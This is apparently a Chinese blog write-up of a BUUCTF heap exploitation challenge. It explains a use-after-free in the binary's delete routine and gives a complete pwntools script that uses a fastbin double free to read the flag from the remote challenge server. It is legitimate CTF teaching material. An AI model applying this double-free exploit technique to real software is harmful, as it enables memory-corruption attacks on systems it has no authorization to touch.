【buuctf】gyctf_2020_some_thing_exceting

[buuctf]gyctf_2020_some_thing_exceting

例行检查

image-20220722002636111

64位程序,关闭了pie保护,直接放到ida分析;

IDA分析

主函数开始时,调用函数,将flag文件打开,注意是在根目录下的flag,然后将flag读到全局变量s处,这个0x60很有帮助,构成了一个堆头;

image-20220722002749874

漏洞点在删除功能处,

image-20220722003000258

将堆块释放后,未将指针置空,存在uaf;

漏洞利用

先申请2个查看堆布局;

image-20220722003216889

程序申请的0x10的堆块起到了存放指针的作用,很正常的堆布局,直接double free,去改指针;

flag = 0x6020A8-0x10

add(0x50,'AAAAAAA',0x50,'BBBBBBB')
add(0x50,'aaa',0x50,'bbb')

free(0)
show(0)

free(1)
free(0)
add(0x50,p64(flag),0x50,'AAA')

这里注意要劫持的堆地址为s-0x10,此时;

image-20220722003504053

连续申请两次,再show,即可读出flag.

exp

from pwn import *
elf = ELF('./gyctf_2020_some_thing_exceting')
io = remote('node4.buuoj.cn',25196)
#io = process('./gyctf_2020_some_thing_exceting')
libc = elf.libc
context(log_level='debug')

def choice(c):
	io.recvuntil(':')
	io.sendline(str(c))

def add(ba_size,ba_content,na_size,na_content):
	choice(1)
	io.recvuntil(':')
	io.sendline(str(ba_size))
	io.recvuntil(':')
	io.send(ba_content)
	io.recvuntil(':')
	io.sendline(str(na_size))
	io.recvuntil(':')
	io.send(na_content)

def free(index):
	choice(3)
	io.recvuntil(':')
	io.sendline(str(index))

def show(index):
	choice(4)
	io.recvuntil(':')
	io.sendline(str(index))

flag = 0x6020A8-0x10

add(0x50,'AAAAAAA',0x50,'BBBBBBB')
add(0x50,'aaa',0x50,'bbb')

free(0)
show(0)

free(1)
free(0)
add(0x50,p64(flag),0x50,'AAA')

add(0x50,'AA',0x50,'AAA')

add(0x50,'f',0x60,'AAAA')

show(0)

#gdb.attach(io)


io.interactive()

image-20220722003636623

拿到flag!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值